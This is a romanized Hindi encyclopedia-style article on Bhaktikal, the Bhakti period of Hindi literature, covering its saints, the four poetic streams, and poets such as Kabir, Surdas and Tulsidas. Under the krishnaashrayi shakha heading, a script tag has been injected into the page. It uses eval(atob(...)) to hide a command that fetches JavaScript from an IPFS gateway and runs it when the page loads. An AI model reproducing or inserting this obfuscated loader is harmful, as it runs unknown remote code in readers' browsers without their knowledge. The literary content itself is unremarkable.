भक्तिकाल

hindi sahity mean bhaktikal 1375 vi0 se 1700 vi0 tak jana jata hai. hindi sahity ka madhyakal bhaktikal ke nam se prasiddh hai. yah samay bhaktikal ke nam se prasiddh hai. bhaktikal hindi sahity ka shreshth yug hai. bhaktikal ka aranbh chaudahavian-pandrahavian shatabdi se mana jata hai. hindi sahity ki uttam rachanaean aur samast shreshth kavi is yug mean hue haian. dakshin mean alavar bandhu nam se prasiddh bhakt hue haian. inamean se anek nichi jatiyoan se the. ve padhe-likhe bhi nahian the lekin bahut hi anubhavi the. alavaroan ke bad dakshin mean acharyoan ki ek paranpara chali jisamean ramanujachary pramukh the. ramanujachary ki paranpara mean age chalakar ramanand hue. ramanand ka vyaktitv asadharan tha. ve us samay ke sabase b de achary the. unhoanne bhakti ke kshetr mean ooanch-nich ka bhed khatm kiya. sabhi jatiyoan ke yogy vyaktiyoan ko unhoanne apana shishy banaya. us samay ka sootr ho gaya tha-

jati-paanti poochhe nahian koee.
hari ko bhajai so hari ka hoee.

ramanand ne vishnu ke avatar ram ki upasana par zor diya. ramanand aur unake shishyoan ne dakshin ki bhaktiganga ko uttar mean pravahit kiya. poore uttar-bharat mean bhaktidhara bahane lagi. us samay poore bharat mean yogy sant aur mahatma bhaktoan ka avirbhav hua.

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mahaprabhu vallabhachary ne pushtimarg ko sthapit kiya aur vishnu ke krishnaavatar ki upasana ko pracharit kiya. vallabhachary ke dvara jis lila-gan ka prasar hua usane poore desh ko prabhavit kiya. ashtachhap ke suprasiddh kaviyoan ne vallabhachary ke upadeshoan ko madhur kavita mean bana jan-jan mean pahuanchaya. vallabhachary ke bad madhv aur nianbark sanpradayoan ka bhi jan-manas par bahut gahara prabhav p da. sadhana-kshetr ke do any sanpraday bhi us samay vidyaman the. nathoan ke yog-marg se prabhavit sant sanpraday chala jisamean sant kabiradas pramukh hai. muslim kaviyoan ka soophivad hianduoan ke vishishtadvaitavad se bahut alag nahian hai. kuchh bhavuk muslim kaviyoan ne soophivad mean doobi huee ati uttam rachanaean likhi.

prasiddh kavi

bhaktikal ki avadhi mean kabir, raidas, nanak, dadoodayal, suandar das, malookadas, kutaban, manjhan, jayasi, usaman, sooradas, paramanandadas, kuanbhanadas, nandadas, hitaharivansh, haridas, rasakhan, dhruvadas, mirabaee, tulasidas, agradas, nabhadas adi ne apani bhaktipoorn rachanaoan se hindi sahity ki shrivriddhi ki. in kaviyoan ke aradhyoan ke nam-roop mean prakatat: bhale hi aantar pratit ho, samarpan ki bhavana sabhi mean vidyaman hai.

kavy-dharaean

bhaktikal mean char pramukh kavy-dharaean milati haian :

• jnanashrayi shakha
• premashrayi shakha
• krishnaashrayi shakha
• ramashrayi shakha

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• jnanashrayi shakha aur premashrayi shakha donoan dharaean nirgun mat mean ati haian.
• krishnaashrayi shakha aur ramashrayi shakha donoan sagun mat ke aantargat ati haian.

jnanashrayi shakha

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jnanashrayi shakha ke bhakt-kavi nirgunavadi the aur nam ki upasana karate the. guru ka ve bahut samman karate the aur jati-pati ke bhedoan ko nahian manate the. vaiyaktik sadhana ko vah pramukhata dete the. mithya adanbaroan aur roodhiyoan ka virodh karate the. lagabhag sabhi sant anapadh the lekin anubhav ki drishti se bahut hi samridhd the.

premashrayi shakha

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premashrayi shakha ke muslim soophi kaviyoan ki kavy-dhara ko premamargi mana gaya kyoanki prem se hi prabhu milate haian aisi unaki manyata thi. eeshvar ki tarah prem bhi sarvavyapi hai aur eeshvar ka jiv ke sath prem ka hi sanbandh ho sakata hai, yahi unaki rachanaoan ka mool tattv hai . unhoanne premagathaean likhi haian. ye premagathaean farasi ki masanaviyoan ki shaili par rachi gee haian. in gathaoan ki bhasha avadhi hai aur inamean doha-chaupaee chhandoan ka prayog kiya gaya hai. muslim hote hue bhi in kaviyoan ne hindoo-jivan se ju di kathaean likhi haian. khandan-mandan n kar in faqir kaviyoan ne bhautik prem ke madhyam se eeshvariy prem ko varnit kiya hai.

krishnaashrayi shakha

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

krishnaashrayi shakha ka sabase adhik prachar aur prasar hua hai. anek sanpradayoan mean uchch koti ke kavi hue haian. inamean vallabhachary ke pushti-sanpraday ke sooradas jaise mahanh kavi hue haian. vatsaly evan shrriangararas ke shiromani bhakt-kavi sooradas ke padoan ka paravarti hindi sahity par sabase adhik prabhav p da hai . is shakha ke kaviyoan ne prayah muktak kavy hi likha hai. shri krishna ka bal evan kishor roop hi in kaviyoan ko akarshit kar paya hai isalie inake kavyoan mean shrikrishna ke aishvary ki apeksha madhury ki hi pradhanata rahi hai.

ramashrayi shakha

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krishnabhakti shakha ke aantargat lila-purushottam krishna ka gan raha to ramabhakti shakha ke pramukh kavi tulasidas ne maryada-purushottam ram ka dhyan kiya. isalie kavi tulasidas ne ramachandr ko aradhy mana aur ‘ramacharitamanas’ se ram-katha ko ghar-ghar mean pahuancha diya. tulasidas hindi sahity ke shreshth kavi mane jate haian. samanvayavadi tulasidas mean lokanayak ke sabhi gun maujood the.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

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